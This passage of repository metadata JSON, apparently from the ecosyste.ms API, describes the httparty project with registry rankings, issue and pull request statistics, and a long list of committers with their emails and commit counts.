cosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-02-11T15:19:08.537Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":1,"rankings":{"downloads":null,"dependent_repos_count":4.7581353553507055,"dependent_packages_count":9.566349969205294,"stargazers_count":0.8755871055770741,"forks_count":0.8813395796455264,"docker_downloads_count":null,"average":4.02035300244465},"purl":"pkg:golang/github.com/jnunemaker/httparty","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/jnunemaker/httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/jnunemaker/httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/jnunemaker/httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-14T12:44:29.307Z","issues_count":66,"pull_requests_count":103,"avg_time_to_close_issue":21214047.395348836,"avg_time_to_close_pull_request":35744049.265957445,"issues_closed_count":43,"pull_requests_closed_count":94,"pull_request_authors_count":56,"issue_authors_count":66,"avg_comments_per_issue":3.5757575757575757,"avg_comments_per_pull_request":1.6213592233009708,"merged_pull_requests_count":60,"bot_issues_count":0,"bot_pull_requests_count":2,"past_year_issues_count":6,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":6034994.5,"past_year_avg_time_to_close_pull_request":509307.5714285714,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":7,"past_year_pull_request_authors_count":7,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":1.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fjnunemaker%2Fhttparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fjnunemaker%2Fhttparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fjnunemaker%2Fhttparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fjnunemaker%2Fhttparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fjnunemaker%2Fhttparty/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2116513,"maintainers_count":0,"namespaces_count":782439,"keywords_count":112823,"github":"golang","metadata":{"funded_packages_count":53495},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-04-19T05:14:45.920Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}],"commits":{"id":3233,"full_name":"jnunemaker/httparty","default_branch":"main","total_commits":1082,"total_committers":257,"total_bot_commits":1,"total_bot_committers":1,"mean_commits":4.21011673151751,"dds":0.643253234750462,"past_year_total_commits":15,"past_year_total_committers":6,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":2.5,"past_year_dds":0.4,"last_synced_at":"2026-04-28T23:13:29.940Z","last_synced_commit":"2daba91bf3f61de2676a2e906f4d3181ebadea83","created_at":"2023-03-07T09:16:52.379Z","updated_at":"2026-04-28T23:07:52.085Z","committers":[{"name":"John Nunemaker","email":"nunemaker@gmail.com","login":"jnunemaker","count":386},{"name":"Sandro Turriate","email":"sandro.turriate@gmail.com","login":"sandro","count":154},{"name":"Thomas Nys","email":"nysthee@gmail.com","login":null,"count":43},{"name":" TheSmartnik","email":"misharinn@gmail.com","login":"TheSmartnik","count":31},{"name":"Michael Stock","email":"mikeastock@gmail.com","login":"mikeastock","count":17},{"name":"Ruslan Korolev","email":"rusik3@gmail.com","login":null,"count":11},{"name":"Eric Urban","email":"hydrogen18@gmail.com","login":"hydrogen18","count":11},{"name":"Don Petersen","email":"don@donpetersen.net","login":"dpetersen","count":9},{"name":"John Hope","email":"me@jhope.ie","login":"JonMidhir","count":9},{"name":"Nathan Lilienthal","email":"nathanlil13@me.com","login":null,"count":9},{"name":"Lucas Uyezu","email":"lucas.uyezu@gmail.com","login":"lucasuyezu","count":8},{"name":"Isaac Sanders","email":"isaacbfsanders@gmail.com","login":null,"count":8},{"name":"rubygeek","email":"nola@rubygeek.com","login":"rubygeek","count":7},{"name":"Javier Blanco","email":"jbgutierrez@gmail.com","login":"jbgutierrez","count":7},{"name":"AjitSingh","email":"jeetsingh.ajit@gmail.com","login":"ajitsing","count":7},{"name":"barberj","email":"barber.justin@gmail.com","login":"barberj","count":6},{"name":"Ritikesh","email":"ritikeshsisodiya@gmail.com","login":"ritikesh","count":6},{"name":"davidgg","email":"hola@davidgg.es","login":"davidgg","count":5},{"name":"Kalman Hazins","email":"kalmanh@gmail.com","login":"kalmanh","count":5},{"name":"Florian Munz","email":"surf@theflow.de","login":"theflow","count":4},{"name":"Abraham Kuri","email":"kurenn@icalialabs.com","login":"kurenn","count":4},{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","login":"olleolleolle","count":4},{"name":"Rick Sullivan","email":"rsullivan@focusvision.com","login":"rsullivan00","count":4},{"name":"Johnny Shields","email":"johnny.shields@gmail.com","login":"johnnyshields","count":4},{"name":"Alex Vollmer","email":"alex@evri.com","login":null,"count":4},{"name":"madumlao","email":"madumlao@gmail.com","login":"madumlao","count":3},{"name":"Rein Henrichs","email":"reinh@reinh.com","login":"reinh","count":3},{"name":"Oliver Eilhard","email":"oliver.eilhard@gmail.com","login":"olivere","count":3},{"name":"Mikkel Kroman","email":"mk@uplink.io","login":"mkroman","count":3},{"name":"Mark Lehman","email":"markopolo@gmail.com","login":"supremebeing7","count":3},{"name":"Julian Russell","email":"jr.plusplus@gmail.com","login":"plusplus","count":3},{"name":"John Nunemaker","email":"john@github.com","login":"greatuserongithub","count":3},{"name":"Igor Springer","email":"springerigor@gmail.com","login":"springerigor","count":3},{"name":"Greg Gershman","email":"greg@shelrick.com","login":"greggersh","count":3},{"name":"Gareth Adams","email":"g@rethada.ms","login":"gareth","count":3},{"name":"Emilio Cristalli","email":"emiliocristalli@gmail.com","login":"EmilioCristalli","count":3},{"name":"Elijah Miller","email":"elijah.miller@gmail.com","login":"jqr","count":3},{"name":"Chris Caselas","email":"dev@chriscaselas.me","login":"caselas","count":3},{"name":"Brian Muller","email":"bamuller@gmail.com","login":"bmuller","count":3},{"name":"Brian Artiaco","email":"bartiaco@Oliver-Square.local","login":null,"count":3},{"name":"Shawn Pyle","email":"spyle@the-jci.org","login":null,"count":3},{"name":"Fabian Oudhaarlem","email":"fabian@coqtail.com","login":"FabianOudhaarlem","count":2},{"name":"David Nichols","email":"dwnichols@gmail.com","login":"dwnichols","count":2},{"name":"George","email":"george@boost-media.com","login":"georgeu2000","count":2},{"name":"Pavel Rosický","email":"pavel.rosicky@easy.cz","login":"ahorek","count":2},{"name":"Peter Goldstein","email":"peter.m.goldstein@gmail.com","login":"petergoldstein","count":2},{"name":"Pieter van de Bruggen","email":"pvande@gmail.com","login":"pvande","count":2},{"name":"Rob Brackett","email":"rob@robbrackett.com","login":"Mr0grog","count":2},{"name":"Heinrich Klobuczek","email":"heinrich@mail.com","login":"klobuczek","count":2},{"name":"Hendy Tanata","email":"htanata@gmail.com","login":"htanata","count":2},{"name":"James Billingham","email":"james@billingham.net","login":"billinghamj","count":2},{"name":"James Pozdena","email":"jpoz@jpoz.net","login":"jpoz","count":2},{"name":"Jon Eisenstein","email":"jon@zype.com","login":"jeisen","count":2},{"name":"Jonathan A. Sternberg","email":"jonathansternberg@gmail.com","login":"jsternberg","count":2},{"name":"Josh Goebel","email":"dreamer3@gmail.com","login":"joshgoebel","count":2},{"name":"Justin Mullis","email":"justin.mullis@gmail.com","login":"neontuna","count":2},{"name":"tindron","email":"rstoller@gmail.com","login":"tindron","count":2},{"name":"Alex Vollmer","email":"alex.vollmer@gmail.com","login":"alexvollmer","count":2},{"name":"Ashish Rao","email":"ashishrao2598@gmail.com","login":"ashishra0","count":2},{"name":"Ben Murphy","email":"benmmurphy@gmail.com","login":"benmmurphy","count":2},{"name":"Bernd Ritter","email":"ritter@decoit.de","login":"britter-decoit","count":2},{"name":"Billiam","email":"billiamthesecond@gmail.com","login":"Billiam","count":2},{"name":"DarthMax","email":"max@kopfueber.org","login":"DarthMax","count":2},{"name":"Michael Vezzani","email":"mjvezzani@gmail.com","login":"mjvezzani","count":2},{"name":"Matt Campbell","email":"matt@soupmatt.com","login":"soupmatt","count":2},{"name":"Marc Slemko","email":"marc.slemko@socrata.com","login":"znep","count":2},{"name":"Linmiao Xu","email":"linmiao.xu@gmail.com","login":"linrock","count":2},{"name":"Khaled alHabache","email":"khellls@gmail.com","login":"khelll","count":2},{"name":"Kenichi Kamiya","email":"kachick1@gmail.com","login":"kachick","count":2},{"name":"Gregory McCue","email":"gsmccue@gmail.com","login":"gmccue","count":2},{"name":"rhett-inbox","email":"rhett.clement@inboxhealth.com","login":"rhett-inbox","count":2},{"name":"nj","email":"nj@downtown.dk","login":"nj","count":2},{"name":"lupinglade","email":"zigzag@nullriver.com","login":"lupinglade","count":2},{"name":"jgeiger","email":"jgeiger@gmail.com","login":"jgeiger","count":2},{"name":"Zamith","email":"zamith.28@gmail.com","login":"zamith","count":2},{"name":"Tony Brown","email":"bonybrown@gmail.com","login":"bonybrown","count":2},{"name":"Seth Falcon","email":"seth@userprimary.net","login":"seth","count":2},{"name":"Rony Varghese","email":"ronyv250289@gmail.com","login":"ronyv89","count":2},{"name":"Robert DiMartino","email":"robert.dimartino@planningcenter.com","login":"rdimartino","count":2},{"name":"Diversiforge","email":"diversiforge@gmail.com","login":null,"count":2},{"name":"Daniel Cunha","email":"daniel.cunha@locaweb.com.br","login":null,"count":2},{"name":"Daniel Becker","email":"daniel.becker@contiamo.com","login":null,"count":2},{"name":"Brennan Frydl","email":"me@bfrydl.com","login":null,"count":2},{"name":"Brad Cater","email":"bradcater-Aspire-5750","login":null,"count":2},{"name":"Justin Mazzi","email":"hh@mailheist.com","login":null,"count":2},{"name":"JonMidhir","email":"info@midhirrecords.com","login":null,"count":2},{"name":"John Hyland","email":"github@djspinmonkey.com","login":null,"count":2},{"name":"Narsimham Chelluri","email":"nchelluri.public+git.commit@gmail.com","login":"nchelluri","count":2},{"name":"Robert Clancy","email":"robert.clancy@swrve.com","login":null,"count":2},{"name":"Moser, Kevin","email":"Kevin.Moser@nordstrom.com","login":null,"count":2},{"name":"gilles","email":"gilles@peerpong.com","login":null,"count":2},{"name":"Zachary Herr","email":"zherr@jellyvision.com","login":null,"count":2},{"name":"Ruslan Korolev","email":"rs3@fastmail.com","login":null,"count":2},{"name":"Oriol Gual","email":"oriol.gual@gmail.com","login":"oriolgual","count":2},{"name":"Orgad Shaneh","email":"orgad.shaneh@audiocodes.com","login":"orgads","count":2},{"name":"Adrián Mugnolo","email":"adrian@hotshotlegal.com","login":"xymbol","count":2},{"name":"Aaron Russell","email":"aaron@gc4.co.uk","login":"aaronrussell","count":1},{"name":"Albert Vernon","email":"aev@vernon.nu","login":"aevernon","count":1},{"name":"Alex Matchneer","email":"machty@gmail.com","login":"machty","count":1},{"name":"Alex Smith","email":"2421172+tradesmanhelix","login":"tradesmanhelix","count":1},{"name":"Alexandre Terrasa","email":"alexandre.terrasa@gmail.com","login":"Morriar","count":1},{"name":"Ali Ismayilov","email":"993934+aliismayilov","login":"aliismayilov","count":1},{"name":"Andrey \"Zed\" Zaikin","email":"zed.0xff@gmail.com","login":"zed-0xff","count":1},{"name":"Blake Hitchcock","email":"blhitchc@cisco.com","login":null,"count":1},{"name":"Carl Youngblood","email":"carlyou@cisco.com","login":null,"count":1},{"name":"Chris Stadler","email":"cstadler@thelevelup.com","login":null,"count":1},{"name":"David Elliott","email":"david@gophilosophie.com","login":null,"count":1},{"name":"David Fisher","email":"tibbon+github@gmail.com","login":null,"count":1},{"name":"Diego Scataglini","email":"diego@junivi.com","login":null,"count":1},{"name":"Dwayne Litzenberger","email":"dlitz@rubinauts.com","login":null,"count":1},{"name":"Franck ROUDET","email":"francxk@gmail.com","login":null,"count":1},{"name":"Josep M. Bach","email":"josep.m.bach@gmail.com","login":null,"count":1},{"name":"Josephine Sayco","email":"josephine.sayco@amaysims-MacBook-Pro.local","login":null,"count":1},{"name":"Matt Scilipoti","email":"matt@greatenough.com","login":null,"count":1},{"name":"Mike Robinson","email":"mike@studiolift.com","login":null,"count":1},{"name":"Nathan Lilienthal","email":"nathanl@ccs.neu.edu","login":null,"count":1},{"name":"Rafael Oshiro","email":"rafael.oshiro@sage.com","login":null,"count":1},{"name":"Rob Di Marco","email":"rob@elocal.com","login":null,"count":1},{"name":"Roman Kamyk","email":"roman.kamyk@gmail.com","login":null,"count":1},{"name":"S. Brent Faulkner","email":"brentf@unwwwired.net","login":null,"count":1},{"name":"Zach Moazeni","email":"zach@collectiveidea.com","login":null,"count":1},{"name":"ikstrm","email":"mail@ikst.jp","login":null,"count":1},{"name":"paul alvarez","email":"palvarez@greenhouse.io","login":null,"count":1},{"name":"pbuckley","email":"pbuckley@rim.com","login":null,"count":1},{"name":"skippy","email":"adam@6bar8.com","login":null,"count":1},{"name":"Bill Vieux","email":"billv@yahoo.com","login":null,"count":1},{"name":"Andy Gray","email":"andy.gray@boost.co.nz","login":null,"count":1},{"name":"Andrew Selder","email":"aselder@usertesting.com","login":null,"count":1},{"name":"Abdul Chaudhry","email":"achaudhry@ngmoco.com","login":null,"count":1},{"name":"SixArm","email":"sixarm@sixarm.com","login":"joelparkerhenderson","count":1},{"name":"Sean Rhea","email":"srhea@meraki.com","login":"srhea","count":1},{"name":"Schuyler Ullman","email":"schuyler.ullman@gmail.com","login":"sullman","count":1},{"name":"Ryan Wallace","email":"rywall@gmail.com","login":"rywall","count":1},{"name":"Ryan Moore","email":"007","login":"007","count":1},{"name":"Ryan Canty","email":"jrcanty@gmail.com","login":"onetwopunch","count":1},{"name":"Robbie Marcelo","email":"rbmrclo@hotmail.com","login":"rbmrclo","count":1},{"name":"Rajat Upadhyaya","email":"rajat.upadhyaya@taazza.com","login":"urajat","count":1},{"name":"Rafael Jurado González","email":"rjurado01@gmail.com","login":"rjurado01","count":1},{"name":"Phil Darnowsky","email":"phil@darnowsky.com","login":"phildarnowsky","count":1},{"name":"Peter Wilson","email":"wilson.peter.21@gmail.com","login":"PWx21","count":1},{"name":"Peter Gumeson","email":"gumeson@gmail.com","login":"sporkd","count":1},{"name":"Paulo L F Casaretto","email":"pcasaretto@gmail.com","login":"pcasaretto","count":1},{"name":"Paul","email":"paul@pogodan.com","login":"themgt","count":1},{"name":"Patrick Gibson","email":"patrick@patrickg.com","login":"pgib","count":1},{"name":"Pablo Ruiz","email":"pjruiz@gmail.com","login":"guapolo","count":1},{"name":"Owen Mooney","email":"owen.m@bccriskadvisory.com","login":"slicedpan","count":1},{"name":"Nicolas Leger","email":"nicolasleger","login":"nicolasleger","count":1},{"name":"Nick Evans","email":"me@nicolasevans.org","login":"ontarionick","count":1},{"name":"Nick","email":"nharvey278@gmail.com","login":"nharvey27","count":1},{"name":"Ngan Pham","email":"ngan","login":"ngan","count":1},{"name":"Nathaniel Talbott","email":"nathaniel@talbott.ws","login":"ntalbott","count":1},{"name":"Nathan Lilienthal","email":"nathan@nixpulvis.com","login":"nixpulvis","count":1},{"name":"Mike Mangino","email":"mmangino@elevatedrails.com","login":"mmangino","count":1},{"name":"Miha Filej","email":"miha@filej.net","login":"mfilej","count":1},{"name":"Maximilian Tagher","email":"feedback.tagher@gmail.com","login":"MaxGabriel","count":1},{"name":"Mauricio Linhares","email":"mauricio.linhares@gmail.com","login":"mauricio","count":1},{"name":"Mark","email":"rtec88@gmail.com","login":"attack","count":1},{"name":"Marek Skrobacki","email":"marek.skrobacki@rackspace.co.uk","login":"skrobul","count":1},{"name":"Maarten Claes","email":"maartencls@gmail.com","login":"mcls","count":1},{"name":"Kyle Davis","email":"davis.h.kyle@gmail.com","login":"harland-davis","count":1},{"name":"Ken Mazaika","email":"kenmazaika@gmail.com","login":"metropolis-testman","count":1},{"name":"黄松","email":"pinewong@163.com","login":"songhuangcn","count":1},{"name":"白宦成","email":"bestony@linux.com","login":"bestony","count":1},{"name":"yuuji.yaginuma","email":"yuuji.yaginuma@gmail.com","login":"y-yagi","count":1},{"name":"wppurking","email":"wppurking@gmail.com","login":"wppurking","count":1},{"name":"thesocialgeek","email":"kamran.usman@gmail.com","login":"kamrandotpk","count":1},{"name":"shane","email":"shanempope","login":"shanempope","count":1},{"name":"pic","email":"piccinini@gmail.com","login":"pic","count":1},{"name":"ohbarye","email":"over.rye@gmail.com","login":"ohbarye","count":1},{"name":"motoyasu-saburi","email":"kumagoro_alice@yahoo.co.jp","login":"motoyasu-saburi","count":1},{"name":"mishina","email":"32959831+mishina2228","login":"mishina2228","count":1},{"name":"kingwkb","email":"kingwkb@gmail.com","login":"kingwkb","count":1},{"name":"jgoyon","email":"jgoyon@gmail.com","login":"jgoyon","count":1},{"name":"ian","email":"iwarshak@stripey.net","login":"iwarshak","count":1},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":1},{"name":"deepj","email":"deepjungle.maca@gmail.com","login":"deepj","count":1},{"name":"brookemckim","email":"brooke.mckim@gmail.com","login":"brookemckim","count":1},{"name":"Zach Gianos","email":"zach.gianos@gmail.com","login":"gi","count":1},{"name":"Wolfgang Kölbl","email":"wok@iki.fi","login":"wok","count":1},{"name":"Wojciech Widenka","email":"w.widenka@exlabs.pl","login":"wojw5","count":1},{"name":"Will Read","email":"will.read@gmail.com","login":"TildeWill","count":1},{"name":"Will Bryant","email":"william@tout.com","login":"will3216","count":1},{"name":"Wes Morgan","email":"cap10morgan@gmail.com","login":"cap10morgan","count":1},{"name":"Vesa Nieminen","email":"vesan2000@gmail.com","login":"vesan","count":1},{"name":"Tyler Bunnell","email":"tylerb","login":"tylerb","count":1},{"name":"Trent Ogren","email":"tedwardo2@gmail.com","login":"misfo","count":1},{"name":"Timon Vonk","email":"mail@timonv.nl","login":"timonv","count":1},{"name":"Tim Vergenz","email":"vergenzt@gmail.com","login":"vergenzt","count":1},{"name":"Théophile Helleboid - chtitux","email":"chtitux@gmail.com","login":"chtitux","count":1},{"name":"Stephan Kaag","email":"stephan@ka.ag","login":"stephankaag","count":1},{"name":"Stefano Tortarolo","email":"stefano.tortarolo@gmail.com","login":"astratto","count":1},{"name":"Stefan Wrobel","email":"swrobel","login":"swrobel","count":1},{"name":"Stacey Touset","email":"capicue@gmail.com","login":"capicue","count":1},{"name":"Ethan","email":"ethan@unth","login":"notEthan","count":1},{"name":"Eric Lindvall","email":"eric@5stops.com","login":"eric","count":1},{"name":"Eric Haynes","email":"ehaynes99@gmail.com","login":"ehaynes99","count":1},{"name":"Eric Chiang","email":"eric.chiang@id.me","login":"serixscorpio","count":1},{"name":"Emma Nwumeh","email":"54593478+enwumeh","login":"enwumeh","count":1},{"name":"Egor Lynko","email":"flexoid@gmail.com","login":"flexoid","count":1},{"name":"Dorian Marié","email":"Dorian","login":"Dorian","count":1},{"name":"Dmitry Rocha","email":"dmitryrck@gmail.com","login":"dmitryrck","count":1},{"name":"Dilum Navanjana","email":"dilumnavanjana@gmail.com","login":"dilumn","count":1},{"name":"Derek Prior","email":"derekprior@gmail.com","login":"derekprior","count":1},{"name":"David Gero","email":"davidpgero@gmail.com","login":"davidpgero","count":1},{"name":"Daniel Morrison","email":"daniel@collectiveidea.com","login":"danielmorrison","count":1},{"name":"Dalibor Nasevic","email":"dalibor.nasevic@gmail.com","login":"dalibor","count":1},{"name":"Cory Kaufman-Schofield","email":"cory@corykaufman.com","login":"allspiritseve","count":1},{"name":"Clément Prod'homme","email":"prodhomme.clement@hotmail.fr","login":"cprodhomme","count":1},{"name":"Clinton Judy","email":"clinton@j-udy.com","login":"judy-zz","count":1},{"name":"Chris Roos \u0026 James Mead","email":"pairing+chris.roos+james.mead@gofreerange.com","login":"chrisroos-and-floehopper","count":1},{"name":"Chris Lowis","email":"chris.lowis@gmail.com","login":"chrislo","count":1},{"name":"Charles Blaxland","email":"charles.blaxland@gmail.com","login":"ampedandwired","count":1},{"name":"Cesare","email":"cesarerocchi@gmail.com","login":"funkyboy","count":1},{"name":"Carlos Antonio da Silva","email":"carlosantoniodasilva@gmail.com","login":"carlosantoniodasilva","count":1},{"name":"Brick Thornton","email":"brickthornton@gmail.com","login":"brickthorn","count":1},{"name":"Brian Landau","email":"brianjlandau@gmail.com","login":"brianjlandau","count":1},{"name":"Brad Lindsay","email":"lindsay@polleverywhere.com","login":"bfad","count":1},{"name":"Brad Gessler","email":"brad@polleverywhere.com","login":"bradgessler","count":1},{"name":"Björn Albers","email":"bjoernalbers@googlemail.com","login":"bjoernalbers","count":1},{"name":"Bernhard Kohler","email":"bernhardkohler@icloud.com","login":"sonnysideup","count":1},{"name":"Benjamin Manns","email":"benmanns@gmail.com","login":"benmanns","count":1},{"name":"Austin Fonacier","email":"31869078+austinfonacier","login":"austinfonacier","count":1},{"name":"Arnaud Meuret","email":"arnaud@meuret.net","login":"ameuret","count":1},{"name":"Anton Sivakov","email":"fanantoxa@gmail.com","login":"fanantoxa","count":1},{"name":"Anthony Eden","email":"anthonyeden@gmail.com","login":"aeden","count":1},{"name":"Kasper Holbek Jensen","email":"kholbekj@gmail.com","login":"kholbekj","count":1},{"name":"Josh Larson","email":"jplhomer@gmail.com","login":"jplhomer","count":1},{"name":"Jonathan Rudenberg","email":"jonathan@titanous.com","login":"titanous","count":1},{"name":"John Mortlock","email":"john.mortlock@gmail.com","login":"jmortlock","count":1},{"name":"John Guenin","email":"john@guen.in","login":"guenin","count":1},{"name":"Jim Paris","email":"jim@jtan.com","login":"jimparis","count":1},{"name":"Jeremy Liberman","email":"mrleebo@msn.com","login":"MrLeebo","count":1},{"name":"Jens Bissinger","email":"mail@jens-bissinger.de","login":"bsingr","count":1},{"name":"Jean Boussier","email":"jean.boussier@gmail.com","login":"byroot","count":1},{"name":"Jason Roelofs","email":"jasongroelofs@gmail.com","login":"jasonroelofs","count":1},{"name":"Jason Hee","email":"jasonheecs@gmail.com","login":"jasonheecs","count":1},{"name":"Jared Beck","email":"jared@jaredbeck.com","login":"jaredbeck","count":1},{"name":"Jamie Tanna","email":"jamie@jamietanna.co.uk","login":"jamietanna","count":1},{"name":"James Lovejoy","email":"james@sparkart.com","login":"jameslovejoy","count":1},{"name":"James Brennan","email":"james@jamesbrennan.ca","login":"jpb","count":1},{"name":"Jakub Jirutka","email":"jakub@jirutka.cz","login":"jirutka","count":1},{"name":"J. Morgan Lieberthal","email":"j.morgan.lieberthal@gmail.com","login":"baberthal","count":1},{"name":"Ilya Vassilevsky","email":"vassilevsky@gmail.com","login":"vassilevsky","count":1},{"name":"Idrissa Bara","email":"idrissa.bara@widegroup.eu","login":"idrissa-bara-wg","count":1},{"name":"Ian Woodley","email":"ianstonewoodley@gmail.com","login":"woodleyi","count":1},{"name":"Henrik Nyh","email":"henrik@nyh.se","login":"henrik","count":1},{"name":"Harman Singh","email":"harman28@gmail.com","login":"harman28","count":1},{"name":"Guillermo Guerrero","email":"guillermo@guerreroibarra.com","login":"ryanfox1985","count":1},{"name":"Glenn Rempe","email":"glenn@rempe.us","login":"grempe","count":1},{"name":"George Millo","email":"georgejulianmillo@gmail.com","login":"george-carlin","count":1},{"name":"Francis Joe","email":"francis.tm@gmail.com","login":"francistm","count":1},{"name":"Forrest Fleming","email":"ffleming@oversee.net","login":"oversee-ffleming","count":1},{"name":"Florian Motlik","email":"flomotlik@gmail.com","login":"flomotlik","count":1},{"name":"Ferdinando Traversa","email":"ferdi.traversa@gmail.com","login":"ferdi2005","count":1},{"name":"Felipe Coury","email":"felipe.coury@gmail.com","login":"fcoury","count":1},{"name":"Fabio Kreusch","email":"fabiokr@gmail.com","login":"fabiokr","count":1},{"name":"Evaldas Buinauskas","email":"evaldas.buinauskas@vinted.com","login":"buinauskas","count":1}],"past_year_committers":[{"name":"John Nunemaker","email":"nunemaker@gmail.com","login":"jnunemaker","count":9},{"name":"Robert DiMartino","email":"robert.dimartino@planningcenter.com","login":"rdimartino","count":2},{"name":"Kyle Davis","email":"davis.h.kyle@gmail.com","login":"harland-davis","count":1},{"name":"Idrissa Bara","email":"idrissa.bara@widegroup.eu","login":"idrissa-bara-wg","count":1},{"name":"Eric Chiang","email":"eric.chiang@id.me","login":"serixscorpio","count":1},{"name":"Andrey \"Zed\" Zaikin","email":"zed.0xff@gmail.com","login":"zed-0xff","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-04-29T00:00:10.453Z","repositories_count":6222905,"commits_count":899832267,"contributors_count":34897510,"owners_count":1147467,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues_stats":{"full_name":"jnunemaker/httparty","html_url":"https://github.com/jnunemaker/httparty","last_synced_at":"2026-04-23T16:06:51.925Z","status":"error","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"created_at":"2023-05-12T09:54:11.030Z","updated_at":"2026-04-23T16:06:51.925Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","issue_labels_count":{"breaks backward compitability":2,"idea":1},"pull_request_labels_count":{"dependencies":4,"github_actions":2},"issue_author_associations_count":{"NONE":61,"CONTRIBUTOR":8},"pull_request_author_associations_count":{"CONTRIBUTOR":53,"NONE":43,"COLLABORATOR":7,"OWNER":6},"issue_authors":{"john-h-k":1,"idev":1,"nnat425":1,"patrick-minton":1,"stefanosalvucci":1,"berti92":1,"YannoteX":1,"khiav223577":1,"technion":1,"sajjadmurtaza":1,"gegenelnet":1,"defp":1,"seanneale":1,"dvodvo":1,"kabirpathak":1,"GBH":1,"carlosramone":1,"gi":1,"baberthal":1,"mvalerie23":1,"baxter2":1,"fauno":1,"joemasilotti":1,"ashkulz":1,"radhakrishnanakireddy":1,"davidporfirio7":1,"ag-TJNII":1,"mvondoyannick":1,"RailsCod3rFuture":1,"twelve17":1,"MelnikVasya":1,"Ruslan":1,"rdimartino":1,"jaypinho":1,"marcelolx":1,"aazman":1,"georgeu2000":1,"aackerman":1,"anderson-lee":1,"Randall-Coding":1,"pschinis":1,"nortonbatista":1,"gabrielsf14":1,"igorkasyanchuk":1,"fhojdegard":1,"Nechitadi":1,"FabianOudhaarlem":1,"danlo":1,"BrunoNelli":1,"JohnSmall":1,"wdiechmann":1,"jamesst20":1,"pwgustafson":1,"chris-gooley":1,"diei":1,"krzkrzkrz":1,"sergiotapia":1,"motoyasu-saburi":1,"MR-X-junior":1,"awls99":1,"tim-briers":1,"jaredbeck":1,"danielgomezrico":1,"mtasaka":1,"KNejad":1,"lflucasferreira":1,"ondrejpialek":1,"jamietanna":1,"besi":1},"pull_request_authors":{"TheSmartnik":7,"jnunemaker":6,"dependabot[bot]":4,"olleolleolle":4,"JonMidhir":3,"sreejithgp":3,"henrik":3,"orgads":3,"johnnyshields":2,"jmahoney":2,"gogainda":2,"ritikesh":2,"mishina2228":2,"snyff":2,"jasonheecs":2,"casperisfine":2,"ashishra0":2,"y-yagi":2,"tradesmanhelix":2,"baraidrissa":2,"ltickett":2,"kvokka":2,"rhett-inbox":2,"wxwang33":2,"ngan":2,"rdimartino":2,"xymbol":2,"michaelrigart":2,"bestony":2,"petergoldstein":2,"mathieujobin":2,"BuonOmo":2,"nparker-tc":2,"tcannonfodder":1,"themgt":1,"ferdi2005":1,"timwis":1,"lukes":1,"aliismayilov":1,"carlosanto